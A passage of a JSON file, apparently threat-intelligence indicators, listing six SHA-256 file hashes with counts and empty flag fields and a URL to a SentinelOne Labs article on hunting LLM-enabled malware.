			"count": 1,
			"flags": [],
			"some_flags": []
		},
		{
			"type": "sha256",
			"value": "d1b48715ace58ee3bfb7af34066491263b885bd865863032820dccfe184614ad",
			"count": 1,
			"flags": [],
			"some_flags": []
		},
		{
			"type": "sha256",
			"value": "d6af1c9f5ce407e53ec73c8e7187ed804fb4f80cf8dbd6722fc69e15e135db2e",
			"count": 1,
			"flags": [],
			"some_flags": []
		},
		{
			"type": "sha256",
			"value": "dc9f49044d16abfda299184af13aa88ab2c0fda9ca7999adcdbd44e3c037a8b1",
			"count": 1,
			"flags": [],
			"some_flags": []
		},
		{
			"type": "sha256",
			"value": "e24fe0dd0bf8d3943d9c4282f172746af6b0787539b371e6626bdb86605ccd70",
			"count": 1,
			"flags": [],
			"some_flags": []
		},
		{
			"type": "sha256",
			"value": "e88a7b9ad5d175383d466c5ad7ebd7683d60654d2fa2aca40e2c4eb9e955c927",
			"count": 1,
			"flags": [],
			"some_flags": []
		},
		{
			"type": "url",
			"value": "https://www.sentinelone.com/labs/prompts-as-code-embedded-keys-the-hunt-for-llm-enabled-malware/",
			"count": 10,
			"flags": [],
			"some_flags": []
		}
	]
}